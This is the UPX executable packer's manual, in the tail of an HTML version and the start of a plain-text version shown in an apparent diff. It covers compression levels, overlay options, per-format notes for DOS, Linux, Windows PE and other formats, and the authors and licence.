<p><b>--exact</b>: when compressing, require to be able to get a byte-identical file after decompression with option <b>-d</b>. [NOTE: this is work in progress and is not supported for all formats yet. If you do care, as a workaround you can compress and then decompress your program a first time - any further compress-decompress steps should then yield byte-identical results as compared to the first decompressed version.]</p>
<p><b>-k</b>: keep backup files</p>
<p><b>-o file</b>: write output to file</p>
<p>[ ...more docs need to be written... - type `<b>upx --help</b>&#39; for now ]</p>
<h1 id="COMPRESSION-LEVELS-TUNING">COMPRESSION LEVELS &amp; TUNING</h1>
<p><b>UPX</b> offers ten different compression levels from <b>-1</b> to <b>-9</b>, and <b>--best</b>. The default compression level is <b>-8</b> for files smaller than 512 KiB, and <b>-7</b> otherwise.</p>
<ul>
<li><p>Compression levels 1, 2 and 3 are pretty fast.</p>
</li>
<li><p>Compression levels 4, 5 and 6 achieve a good time/ratio performance.</p>
</li>
<li><p>Compression levels 7, 8 and 9 favor compression ratio over speed.</p>
</li>
<li><p>Compression level <b>--best</b> may take a long time.</p>
</li>
</ul>
<p>Note that compression level <b>--best</b> can be somewhat slow for large files, but you definitely should use it when releasing a final version of your program.</p>
<p>Quick info for achieving the best compression ratio:</p>
<ul>
<li><p>Try <b>upx --brute --no-lzma myfile.exe</b> or even <b>upx --ultra-brute --no-lzma myfile.exe</b>.</p>
</li>
<li><p>The option <b>--lzma</b> enables LZMA compression, which compresses better but is *significantly slower* at decompression. You probably do not want to use it for large files.</p>
<p>(Note that <b>--lzma</b> is automatically enabled by <b>--all-methods</b> and <b>--brute</b>, use <b>--no-lzma</b> to override.)</p>
</li>
<li><p>Try if <b>--overlay=strip</b> works.</p>
</li>
<li><p>For win32/pe programs there&#39;s <b>--strip-relocs=0</b>. See notes below.</p>
</li>
</ul>
<h1 id="OVERLAY-HANDLING-OPTIONS">OVERLAY HANDLING OPTIONS</h1>
<p>Info: An &quot;overlay&quot; means auxiliary data attached after the logical end of an executable, and it often contains application specific data (this is a common practice to avoid an extra data file, though it would be better to use resource sections).</p>
<p><b>UPX</b> handles overlays like many other executable packers do: it simply copies the overlay after the compressed image. This works with some files, but doesn&#39;t work with others, depending on how an application actually accesses this overlaid data.</p>
<pre><code>--overlay=copy Copy any extra data attached to the file. [DEFAULT]
--overlay=strip Strip any overlay from the program instead of
copying it. Be warned, this may make the compressed
program crash or otherwise unusable.
--overlay=skip Refuse to compress any program which has an overlay.</code></pre>
<h1 id="ENVIRONMENT-VARIABLE">ENVIRONMENT VARIABLE</h1>
<p>The environment variable <b>UPX</b> can hold a set of default options for <b>UPX</b>. These options are interpreted first and can be overwritten by explicit command line parameters. For example:</p>
<pre><code>for DOS/Windows: set UPX=-9 --compress-icons#0
for sh/ksh/zsh: UPX=&quot;-9 --compress-icons=0&quot;; export UPX
for csh/tcsh: setenv UPX &quot;-9 --compress-icons=0&quot;</code></pre>
<p>Under DOS/Windows you must use &#39;#&#39; instead of &#39;=&#39; when setting the environment variable because of a COMMAND.COM limitation.</p>
<p>Not all of the options are valid in the environment variable - <b>UPX</b> will tell you.</p>
<p>You can explicitly use the <b>--no-env</b> option to ignore the environment variable.</p>
<h1 id="NOTES-FOR-THE-SUPPORTED-EXECUTABLE-FORMATS">NOTES FOR THE SUPPORTED EXECUTABLE FORMATS</h1>
<h2 id="NOTES-FOR-ATARI-TOS">NOTES FOR ATARI/TOS</h2>
<p>This is the executable format used by the Atari ST/TT, a Motorola 68000 based personal computer which was popular in the late &#39;80s. Support of this format is only because of nostalgic feelings of one of the authors and serves no practical purpose :-). See https://freemint.github.io for more info.</p>
<p>Packed programs will be byte-identical to the original after uncompression. All debug information will be stripped, though.</p>
<p>Extra options available for this executable format:</p>
<pre><code>--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</code></pre>
<h2 id="NOTES-FOR-BVMLINUZ-I386">NOTES FOR BVMLINUZ/I386</h2>
<p>Same as vmlinuz/i386.</p>
<h2 id="NOTES-FOR-DOS-COM">NOTES FOR DOS/COM</h2>
<p>Obviously <b>UPX</b> won&#39;t work with executables that want to read data from themselves (like some commandline utilities that ship with Win95/98/ME).</p>
<p>Compressed programs only work on a 286+.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>Maximum uncompressed size: ~65100 bytes.</p>
<p>Extra options available for this executable format:</p>
<pre><code>--8086 Create an executable that works on any 8086 CPU.
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</code></pre>
<h2 id="NOTES-FOR-DOS-EXE">NOTES FOR DOS/EXE</h2>
<p>dos/exe stands for all &quot;normal&quot; 16-bit DOS executables.</p>
<p>Obviously <b>UPX</b> won&#39;t work with executables that want to read data from themselves (like some command line utilities that ship with Win95/98/ME).</p>
<p>Compressed programs only work on a 286+.</p>
<p>Extra options available for this executable format:</p>
<pre><code>--8086 Create an executable that works on any 8086 CPU.
--no-reloc Use no relocation records in the exe header.
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.</code></pre>
<h2 id="NOTES-FOR-DOS-SYS">NOTES FOR DOS/SYS</h2>
<p>Compressed programs only work on a 286+.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>Maximum uncompressed size: ~65350 bytes.</p>
<p>Extra options available for this executable format:</p>
<pre><code>--8086 Create an executable that works on any 8086 CPU.
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</code></pre>
<h2 id="NOTES-FOR-DJGPP2-COFF">NOTES FOR DJGPP2/COFF</h2>
<p>First of all, it is recommended to use <b>UPX</b> *instead* of <b>strip</b>. strip has the very bad habit of replacing your stub with its own (outdated) version. Additionally <b>UPX</b> corrects a bug/feature in strip v2.8.x: it will fix the 4 KiB alignment of the stub.</p>
<p><b>UPX</b> includes the full functionality of stubify. This means it will automatically stubify your COFF files. Use the option <b>--coff</b> to disable this functionality (see below).</p>
<p><b>UPX</b> automatically handles Allegro packfiles.</p>
<p>The DLM format (a rather exotic shared library extension) is not supported.</p>
<p>Packed programs will be byte-identical to the original after uncompression. All debug information and trailing garbage will be stripped, though.</p>
<p>Extra options available for this executable format:</p>
<pre><code>--coff Produce COFF output instead of EXE. By default
UPX keeps your current stub.
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</code></pre>
<h2 id="NOTES-FOR-LINUX-general">NOTES FOR LINUX [general]</h2>
<p>Introduction</p>
<pre><code>Linux/386 support in UPX consists of 3 different executable formats,
one optimized for ELF executables (&quot;linux/elf386&quot;), one optimized
for shell scripts (&quot;linux/sh386&quot;), and one generic format
(&quot;linux/386&quot;).
We will start with a general discussion first, but please
also read the relevant docs for each of the individual formats.
Also, there is special support for bootable kernels - see the
description of the vmlinuz/386 format.</code></pre>
<p>General user&#39;s overview</p>
<pre><code>Running a compressed executable program trades less space on a
``permanent&#39;&#39; storage medium (such as a hard disk, floppy disk,
CD-ROM, flash memory, EPROM, etc.) for more space in one or more
``temporary&#39;&#39; storage media (such as RAM, swap space, /tmp, etc.).
Running a compressed executable also requires some additional CPU
cycles to generate the compressed executable in the first place,
and to decompress it at each invocation.
How much space is traded? It depends on the executable, but many
programs save 30% to 50% of permanent disk space. How much CPU
overhead is there? Again, it depends on the executable, but
decompression speed generally is at least many megabytes per second,
and frequently is limited by the speed of the underlying disk
or network I/O.
Depending on the statistics of usage and access, and the relative
speeds of CPU, RAM, swap space, /tmp, and file system storage, then
invoking and running a compressed executable can be faster than
directly running the corresponding uncompressed program.
The operating system might perform fewer expensive I/O operations
to invoke the compressed program. Paging to or from swap space
or /tmp might be faster than paging from the general file system.
``Medium-sized&#39;&#39; programs which access about 1/3 to 1/2 of their
stored program bytes can do particularly well with compression.
Small programs tend not to benefit as much because the absolute
savings is less. Big programs tend not to benefit proportionally
because each invocation may use only a small fraction of the program,
yet UPX decompresses the entire program before invoking it.
But in environments where disk or flash memory storage is limited,
then compression may win anyway.
Currently, executables compressed by UPX do not share RAM at runtime
in the way that executables mapped from a file system do. As a
result, if the same program is run simultaneously by more than one
process, then using the compressed version will require more RAM and/or
swap space. So, shell programs (bash, csh, etc.) and ``make&#39;&#39;
might not be good candidates for compression.
UPX recognizes three executable formats for Linux: Linux/elf386,
Linux/sh386, and Linux/386. Linux/386 is the most generic format;
it accommodates any file that can be executed. At runtime, the UPX
decompression stub re-creates in /tmp a copy of the original file,
and then the copy is (re-)executed with the same arguments.
ELF binary executables prefer the Linux/elf386 format by default,
because UPX decompresses them directly into RAM, uses only one
exec, does not use space in /tmp, and does not use /proc.
Shell scripts where the underlying shell accepts a ``-c&#39;&#39; argument
can use the Linux/sh386 format. UPX decompresses the shell script
into low memory, then maps the shell and passes the entire text of the
script as an argument with a leading ``-c&#39;&#39;.</code></pre>
<p>General benefits:</p>
<pre><code>- UPX can compress all executables, be it AOUT, ELF, libc4, libc5,
libc6, Shell/Perl/Python/... scripts, standalone Java .class
binaries, or whatever...
All scripts and programs will work just as before.
- Compressed programs are completely self-contained. No need for
any external program.
- UPX keeps your original program untouched. This means that
after decompression you will have a byte-identical version,
and you can use UPX as a file compressor just like gzip.
[ Note that UPX maintains a checksum of the file internally,
so it is indeed a reliable alternative. ]
- As the stub only uses syscalls and isn&#39;t linked against libc it
should run under any Linux configuration that can run ELF
binaries.
- For the same reason compressed executables should run under
FreeBSD and other systems which can run Linux binaries.
[ Please send feedback on this topic ]</code></pre>
<p>General drawbacks:</p>
<pre><code>- It is not advisable to compress programs which usually have many
instances running (like `sh&#39; or `make&#39;) because the common segments of
compressed programs won&#39;t be shared any longer between different
processes.
- `ldd&#39; and `size&#39; won&#39;t show anything useful because all they
see is the statically linked stub. Since version 0.82 the section
headers are stripped from the UPX stub and `size&#39; doesn&#39;t even
recognize the file format. The file patches/patch-elfcode.h has a
patch to fix this bug in `size&#39; and other programs which use GNU BFD.</code></pre>
<p>General notes:</p>
<pre><code>- As UPX leaves your original program untouched it is advantageous
to strip it before compression.
- If you compress a script you will lose platform independence -
this could be a problem if you are using NFS mounted disks.
- Compression of suid, guid and sticky-bit programs is rejected
because of possible security implications.
- For the same reason there is no sense in making any compressed
program suid.
- Obviously UPX won&#39;t work with executables that want to read data
from themselves. E.g., this might be a problem for Perl scripts
which access their __DATA__ lines.
- In case of internal errors the stub will abort with exitcode 127.
Typical reasons for this to happen are that the program has somehow
been modified after compression.
Running `strace -o strace.log compressed_file&#39; will tell you more.</code></pre>
<h2 id="NOTES-FOR-LINUX-ELF386">NOTES FOR LINUX/ELF386</h2>
<p>Please read the general Linux description first.</p>
<p>The linux/elf386 format decompresses directly into RAM, uses only one exec, does not use space in /tmp, and does not use /proc.</p>
<p>Linux/elf386 is automatically selected for Linux ELF executables.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>How it works:</p>
<pre><code>For ELF executables, UPX decompresses directly to memory, simulating
the mapping that the operating system kernel uses during exec(),
including the PT_INTERP program interpreter (if any).
The brk() is set by a special PT_LOAD segment in the compressed
executable itself. UPX then wipes the stack clean except for
arguments, environment variables, and Elf_auxv entries (this is
required by bugs in the startup code of /lib/ld-linux.so as of
May 2000), and transfers control to the program interpreter or
the e_entry address of the original executable.
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.</code></pre>
<p>Specific drawbacks:</p>
<pre><code>- For linux/elf386 and linux/sh386 formats, you will be relying on
RAM and swap space to hold all of the decompressed program during
the lifetime of the process. If you already use most of your swap
space, then you may run out. A system that is &quot;out of memory&quot;
can become fragile. Many programs do not react gracefully when
malloc() returns 0. With newer Linux kernels, the kernel
may decide to kill some processes to regain memory, and you
may not like the kernel&#39;s choice of which to kill. Running
/usr/bin/top is one way to check on the usage of swap space.</code></pre>
<p>Extra options available for this executable format:</p>
<pre><code>(none)</code></pre>
<h2 id="NOTES-FOR-LINUX-SH386">NOTES FOR LINUX/SH386</h2>
<p>Please read the general Linux description first.</p>
<p>Shell scripts where the underling shell accepts a ``-c&#39;&#39; argument can use the Linux/sh386 format. <b>UPX</b> decompresses the shell script into low memory, then maps the shell and passes the entire text of the script as an argument with a leading ``-c&#39;&#39;. It does not use space in /tmp, and does not use /proc.</p>
<p>Linux/sh386 is automatically selected for shell scripts that use a known shell.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>How it works:</p>
<pre><code>For shell script executables (files beginning with &quot;#!/&quot; or &quot;#! /&quot;)
where the shell is known to accept &quot;-c &lt;command&gt;&quot;, UPX decompresses
the file into low memory, then maps the shell (and its PT_INTERP),
and passes control to the shell with the entire decompressed file
as the argument after &quot;-c&quot;. Known shells are sh, ash, bash, bsh, csh,
ksh, tcsh, pdksh. Restriction: UPX cannot use this method
for shell scripts which use the one optional string argument after
the shell name in the script (example: &quot;#! /bin/sh option3\n&quot;.)
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.</code></pre>
<p>Specific drawbacks:</p>
<pre><code>- For linux/elf386 and linux/sh386 formats, you will be relying on
RAM and swap space to hold all of the decompressed program during
the lifetime of the process. If you already use most of your swap
space, then you may run out. A system that is &quot;out of memory&quot;
can become fragile. Many programs do not react gracefully when
malloc() returns 0. With newer Linux kernels, the kernel
may decide to kill some processes to regain memory, and you
may not like the kernel&#39;s choice of which to kill. Running
/usr/bin/top is one way to check on the usage of swap space.</code></pre>
<p>Extra options available for this executable format:</p>
<pre><code>(none)</code></pre>
<h2 id="NOTES-FOR-LINUX-386">NOTES FOR LINUX/386</h2>
<p>Please read the general Linux description first.</p>
<p>The generic linux/386 format decompresses to /tmp and needs /proc file system support. It starts the decompressed program via the execve() syscall.</p>
<p>Linux/386 is only selected if the specialized linux/elf386 and linux/sh386 won&#39;t recognize a file.</p>
<p>Packed programs will be byte-identical to the original after uncompression.</p>
<p>How it works:</p>
<pre><code>For files which are not ELF and not a script for a known &quot;-c&quot; shell,
UPX uses kernel execve(), which first requires decompressing to a
temporary file in the file system. Interestingly -
because of the good memory management of the Linux kernel - this
often does not introduce a noticeable delay, and in fact there
will be no disk access at all if you have enough free memory as
the entire process takes places within the file system buffers.
A compressed executable consists of the UPX stub and an overlay
which contains the original program in a compressed form.
The UPX stub is a statically linked ELF executable and does
the following at program startup:
1) decompress the overlay to a temporary location in /tmp
2) open the temporary file for reading
3) try to delete the temporary file and start (execve)
the uncompressed program in /tmp using /proc/&lt;pid&gt;/fd/X as
attained by step 2)
4) if that fails, fork off a subprocess to clean up and
start the program in /tmp in the meantime
The UPX stub is about 1700 bytes long, partly written in assembler
and only uses kernel syscalls. It is not linked against any libc.</code></pre>
<p>Specific drawbacks:</p>
<pre><code>- You need additional free disk space for the uncompressed program
in your /tmp directory. This program is deleted immediately after
decompression, but you still need it for the full execution time
of the program.
- You must have /proc file system support as the stub wants to open
/proc/&lt;pid&gt;/exe and needs /proc/&lt;pid&gt;/fd/X. This also means that you
cannot compress programs that are used during the boot sequence
before /proc is mounted.
- Utilities like `top&#39; will display numerical values in the process
name field. This is because Linux computes the process name from
the first argument of the last execve syscall (which is typically
something like /proc/&lt;pid&gt;/fd/3).
- Because of temporary decompression to disk the decompression speed
is not as fast as with the other executable formats. Still, I can see
no noticeable delay when starting programs like my ~3 MiB emacs (which
is less than 1 MiB when compressed :-).</code></pre>
<p>Extra options available for this executable format:</p>
<pre><code>--force-execve Force the use of the generic linux/386 &quot;execve&quot;
format, i.e. do not try the linux/elf386 and
linux/sh386 formats.</code></pre>
<h2 id="NOTES-FOR-PS1-EXE">NOTES FOR PS1/EXE</h2>
<p>This is the executable format used by the Sony PlayStation (PSone), a MIPS R3000 based gaming console which is popular since the late &#39;90s. Support of this format is very similar to the Atari one, because of nostalgic feelings of one of the authors.</p>
<p>Packed programs will be byte-identical to the original after uncompression, until further notice.</p>
<p>Maximum uncompressed size: ~1.89 / ~7.60 MiB.</p>
<p>Notes:</p>
<pre><code>- UPX creates as default a suitable executable for CD-Mastering
and console transfer. For a CD-Master main executable you could also try
the special option &quot;--boot-only&quot; as described below.
It has been reported that upx packed executables are fully compatible with
the Sony PlayStation 2 (PS2, PStwo) and Sony PlayStation Portable (PSP) in
Sony PlayStation (PSone) emulation mode.
- Normally the packed files use the same memory areas like the uncompressed
versions, so they will not override other memory areas while unpacking.
If this isn&#39;t possible UPX will abort showing a &#39;packed data overlap&#39;
error. With the &quot;--force&quot; option UPX will relocate the loading address
for the packed file, but this isn&#39;t a real problem if it is a single or
the main executable.</code></pre>
<p>Extra options available for this executable format:</p>
<pre><code>--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--8-bit Uses 8 bit size compression [default: 32 bit]
--8mib-ram PSone has 8 MiB ram available [default: 2 MiB]
--boot-only This format is for main exes and CD-Mastering only !
It may slightly improve the compression ratio,
decompression routines are faster than default ones.
But it cannot be used for console transfer !
--no-align This option disables CD mode 2 data sector format
alignment. May slightly improves the compression ratio,
but the compressed executable will not boot from a CD.
Use it for console transfer only !</code></pre>
<h2 id="NOTES-FOR-RTM32-PE-and-ARM-PE">NOTES FOR RTM32/PE and ARM/PE</h2>
<p>Same as win32/pe.</p>
<h2 id="NOTES-FOR-TMT-ADAM">NOTES FOR TMT/ADAM</h2>
<p>This format is used by the TMT Pascal compiler - see http://www.tmt.com/ .</p>
<p>Extra options available for this executable format:</p>
<pre><code>--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</code></pre>
<h2 id="NOTES-FOR-VMLINUZ-386">NOTES FOR VMLINUZ/386</h2>
<p>The vmlinuz/386 and bvmlinuz/386 formats take a gzip-compressed bootable Linux kernel image (&quot;vmlinuz&quot;, &quot;zImage&quot;, &quot;bzImage&quot;), gzip-decompress it and re-compress it with the <b>UPX</b> compression method.</p>
<p>vmlinuz/386 is completely unrelated to the other Linux executable formats, and it does not share any of their drawbacks.</p>
<p>Notes:</p>
<pre><code>- Be sure that &quot;vmlinuz/386&quot; or &quot;bvmlinuz/386&quot; is displayed
during compression - otherwise a wrong executable format
may have been used, and the kernel won&#39;t boot.</code></pre>
<p>Benefits:</p>
<pre><code>- Better compression (but note that the kernel was already compressed,
so the improvement is not as large as with other formats).
Still, the bytes saved may be essential for special needs like
boot disks.
For example, this is what I get for my 2.2.16 kernel:
1589708 vmlinux
641073 bzImage [original]
560755 bzImage.upx [compressed by &quot;upx -9&quot;]
- Much faster decompression at kernel boot time (but kernel
decompression speed is not really an issue these days).</code></pre>
<p>Drawbacks:</p>
<pre><code>(none)</code></pre>
<p>Extra options available for this executable format:</p>
<pre><code>--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</code></pre>
<h2 id="NOTES-FOR-WATCOM-LE">NOTES FOR WATCOM/LE</h2>
<p><b>UPX</b> has been successfully tested with the following extenders: DOS4G, DOS4GW, PMODE/W, DOS32a, CauseWay. The WDOS/X extender is partly supported (for details see the file bugs BUGS).</p>
<p>DLLs and the LX format are not supported.</p>
<p>Extra options available for this executable format:</p>
<pre><code>--le Produce an unbound LE output instead of
keeping the current stub.</code></pre>
<h2 id="NOTES-FOR-WIN32-PE">NOTES FOR WIN32/PE</h2>
<p>The PE support in <b>UPX</b> is quite stable now, but probably there are still some incompatibilities with some files.</p>
<p>Because of the way <b>UPX</b> (and other packers for this format) works, you can see increased memory usage of your compressed files because the whole program is loaded into memory at startup. If you start several instances of huge compressed programs you&#39;re wasting memory because the common segments of the program won&#39;t get shared across the instances. On the other hand if you&#39;re compressing only smaller programs, or running only one instance of larger programs, then this penalty is smaller, but it&#39;s still there.</p>
<p>If you&#39;re running executables from network, then compressed programs will load faster, and require less bandwidth during execution.</p>
<p>DLLs are supported. But UPX compressed DLLs can not share common data and code when they got used by multiple applications. So compressing msvcrt.dll is a waste of memory, but compressing the dll plugins of a particular application may be a better idea.</p>
<p>Screensavers are supported, with the restriction that the filename must end with &quot;.scr&quot; (as screensavers are handled slightly different than normal exe files).</p>
<p>UPX compressed PE files have some minor memory overhead (usually in the 10 - 30 KiB range) which can be seen by specifying the &quot;-i&quot; command line switch during compression.</p>
<p>Extra options available for this executable format:</p>
<pre><code>--compress-exports=0 Don&#39;t compress the export section.
Use this if you plan to run the compressed
program under Wine.
--compress-exports=1 Compress the export section. [DEFAULT]
Compression of the export section can improve the
compression ratio quite a bit but may not work
with all programs (like winword.exe).
UPX never compresses the export section of a DLL
regardless of this option.
--compress-icons=0 Don&#39;t compress any icons.
--compress-icons=1 Compress all but the first icon.
--compress-icons=2 Compress all icons which are not in the
first icon directory. [DEFAULT]
--compress-icons=3 Compress all icons.
--compress-resources=0 Don&#39;t compress any resources at all.
--keep-resource=list Don&#39;t compress resources specified by the list.
The members of the list are separated by commas.
A list member has the following format: I&lt;type[/name]&gt;.
I&lt;Type&gt; is the type of the resource. Standard types
must be specified as decimal numbers, user types can be
specified by decimal IDs or strings. I&lt;Name&gt; is the
identifier of the resource. It can be a decimal number
or a string. For example:
--keep-resource=2/MYBITMAP,5,6/12345
UPX won&#39;t compress the named bitmap resource &quot;MYBITMAP&quot;,
it leaves every dialog (5) resource uncompressed, and
it won&#39;t touch the string table resource with identifier
12345.
--force Force compression even when there is an
unexpected value in a header field.
Use with care.
--strip-relocs=0 Don&#39;t strip relocation records.
--strip-relocs=1 Strip relocation records. [DEFAULT]
This option only works on executables with base
address greater or equal to 0x400000. Usually the
compressed files becomes smaller, but some files
may become larger. Note that the resulting file will
not work under Windows 3.x (Win32s).
UPX never strips relocations from a DLL
regardless of this option.
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.</code></pre>
<h1 id="DIAGNOSTICS">DIAGNOSTICS</h1>
<p>Exit status is normally 0; if an error occurs, exit status is 1. If a warning occurs, exit status is 2.</p>
<p><b>UPX</b>&#39;s diagnostics are intended to be self-explanatory.</p>
<h1 id="BUGS">BUGS</h1>
<p>Please report all bugs immediately to the authors.</p>
<h1 id="AUTHORS">AUTHORS</h1>
<pre><code>Markus F.X.J. Oberhumer &lt;markus@oberhumer.com&gt;
http://www.oberhumer.com
Laszlo Molnar &lt;ezerotven+github@gmail.com&gt;
John F. Reiser &lt;jreiser@BitWagon.com&gt;
Jens Medoch &lt;jssg@users.sourceforge.net&gt;</code></pre>
<h1 id="COPYRIGHT">COPYRIGHT</h1>
<p>Copyright (C) 1996-2023 Markus Franz Xaver Johannes Oberhumer</p>
<p>Copyright (C) 1996-2023 Laszlo Molnar</p>
<p>Copyright (C) 2000-2023 John F. Reiser</p>
<p>Copyright (C) 2002-2023 Jens Medoch</p>
<p><b>UPX</b> is distributed with full source code under the terms of the GNU General Public License v2+; either under the pure GPLv2+ (see the file COPYING), or (at your option) under the GPLv+2 with special exceptions and restrictions granting the free usage for all binaries including commercial programs (see the file LICENSE).</p>
<p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.</p>
<p>You should have received a copy of the UPX License Agreements along with this program; see the files COPYING and LICENSE. If not, visit the UPX home page.</p>
</body>
</html>

View File

@@ -0,0 +1,842 @@
NAME
upx - compress or expand executable files
SYNOPSIS
upx [ *command* ] [ *options* ] *filename*...
ABSTRACT
The Ultimate Packer for eXecutables
Copyright (c) 1996-2023 Markus Oberhumer, Laszlo Molnar & John Reiser
https://upx.github.io
UPX is a portable, extendable, high-performance executable packer for
several different executable formats. It achieves an excellent
compression ratio and offers **very** fast decompression. Your
executables suffer no memory overhead or other drawbacks for most of the
formats supported, because of in-place decompression.
DISCLAIMER
UPX comes with ABSOLUTELY NO WARRANTY; for details see the file COPYING.
Please report all problems or suggestions to the authors. Thanks.
SECURITY CONTEXT
IMPORTANT NOTE: UPX inherits the security context of any files it
handles.
This means that packing, unpacking, or even testing or listing a file
requires the same security considerations as actually executing the
file.
Use UPX on trusted files only!
DESCRIPTION
UPX is a versatile executable packer with the following features:
- secure: as UPX is documented Open Source since many years any relevant
Security/Antivirus software is able to peek inside UPX compressed
apps to verify them
- excellent compression ratio: typically compresses better than Zip,
use UPX to decrease the size of your distribution !
- very fast decompression: more than 500 MB/sec on any reasonably modern
machine
- no memory overhead for your compressed executables for most of the
supported formats because of in-place decompression
- safe: you can list, test and unpack your executables.
Also, a checksum of both the compressed and uncompressed file is
maintained internally.
- universal: UPX can pack a number of executable formats, including
Windows programs and DLLs, macOS apps and Linux executables
- portable: UPX is written in portable endian-neutral C++
- extendable: because of the class layout it's very easy to support
new executable formats or add new compression algorithms
- free: UPX is distributed with full source code under the GNU General
Public License v2+, with special exceptions granting the free usage
for commercial programs
You probably understand now why we call UPX the "*ultimate*" executable
packer.
COMMANDS
Compress
This is the default operation, eg. upx yourfile.exe will compress the
file specified on the command line.
Decompress
All UPX supported file formats can be unpacked using the -d switch, eg.
upx -d yourfile.exe will uncompress the file you've just compressed.
Test
The -t command tests the integrity of the compressed and uncompressed
data, eg. upx -t yourfile.exe check whether your file can be safely
decompressed. Note, that this command doesn't check the whole file, only
the part that will be uncompressed during program execution. This means
that you should not use this command instead of a virus checker.
List
The -l command prints out some information about the compressed files
specified on the command line as parameters, eg upx -l yourfile.exe
shows the compressed / uncompressed size and the compression ratio of
*yourfile.exe*.
OPTIONS
-q: be quiet, suppress warnings
-q -q (or -qq): be very quiet, suppress errors
-q -q -q (or -qqq): produce no output at all
--help: prints the help
--version: print the version of UPX
--exact: when compressing, require to be able to get a byte-identical
file after decompression with option -d. [NOTE: this is work in progress
and is not supported for all formats yet. If you do care, as a
workaround you can compress and then decompress your program a first
time - any further compress-decompress steps should then yield
byte-identical results as compared to the first decompressed version.]
-k: keep backup files
-o file: write output to file
[ ...more docs need to be written... - type `upx --help' for now ]
COMPRESSION LEVELS & TUNING
UPX offers ten different compression levels from -1 to -9, and --best.
The default compression level is -8 for files smaller than 512 KiB, and
-7 otherwise.
* Compression levels 1, 2 and 3 are pretty fast.
* Compression levels 4, 5 and 6 achieve a good time/ratio performance.
* Compression levels 7, 8 and 9 favor compression ratio over speed.
* Compression level --best may take a long time.
Note that compression level --best can be somewhat slow for large files,
but you definitely should use it when releasing a final version of your
program.
Quick info for achieving the best compression ratio:
* Try upx --brute --no-lzma myfile.exe or even upx --ultra-brute
--no-lzma myfile.exe.
* The option --lzma enables LZMA compression, which compresses better
but is *significantly slower* at decompression. You probably do not
want to use it for large files.
(Note that --lzma is automatically enabled by --all-methods and
--brute, use --no-lzma to override.)
* Try if --overlay=strip works.
* For win32/pe programs there's --strip-relocs=0. See notes below.
OVERLAY HANDLING OPTIONS
Info: An "overlay" means auxiliary data attached after the logical end
of an executable, and it often contains application specific data (this
is a common practice to avoid an extra data file, though it would be
better to use resource sections).
UPX handles overlays like many other executable packers do: it simply
copies the overlay after the compressed image. This works with some
files, but doesn't work with others, depending on how an application
actually accesses this overlaid data.
--overlay=copy Copy any extra data attached to the file. [DEFAULT]
--overlay=strip Strip any overlay from the program instead of
copying it. Be warned, this may make the compressed
program crash or otherwise unusable.
--overlay=skip Refuse to compress any program which has an overlay.
ENVIRONMENT VARIABLE
The environment variable UPX can hold a set of default options for UPX.
These options are interpreted first and can be overwritten by explicit
command line parameters. For example:
for DOS/Windows: set UPX=-9 --compress-icons#0
for sh/ksh/zsh: UPX="-9 --compress-icons=0"; export UPX
for csh/tcsh: setenv UPX "-9 --compress-icons=0"
Under DOS/Windows you must use '#' instead of '=' when setting the
environment variable because of a COMMAND.COM limitation.
Not all of the options are valid in the environment variable - UPX will
tell you.
You can explicitly use the --no-env option to ignore the environment
variable.
NOTES FOR THE SUPPORTED EXECUTABLE FORMATS
NOTES FOR ATARI/TOS
This is the executable format used by the Atari ST/TT, a Motorola 68000
based personal computer which was popular in the late '80s. Support of
this format is only because of nostalgic feelings of one of the authors
and serves no practical purpose :-). See https://freemint.github.io for
more info.
Packed programs will be byte-identical to the original after
uncompression. All debug information will be stripped, though.
Extra options available for this executable format:
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
NOTES FOR BVMLINUZ/I386
Same as vmlinuz/i386.
NOTES FOR DOS/COM
Obviously UPX won't work with executables that want to read data from
themselves (like some commandline utilities that ship with Win95/98/ME).
Compressed programs only work on a 286+.
Packed programs will be byte-identical to the original after
uncompression.
Maximum uncompressed size: ~65100 bytes.
Extra options available for this executable format:
--8086 Create an executable that works on any 8086 CPU.
--all-methods Compress the program several times, using all
available compression methods. This may improve
the compression ratio in some cases, but usually
the default method gives the best results anyway.
--all-filters Compress the program several times, using all
available preprocessing filters. This may improve
the compression ratio in some cases, but usually
the default filter gives the best results anyway.
NOTES FOR DOS/EXE
dos/exe stands for all "normal" 16-bit DOS executables.
Obviously UPX won't work with executables that want to read data from
themselves (like some command line utilities that ship with
Win95/98/ME).
Compressed programs only work on a 286+.
Extra options available for this executable format:
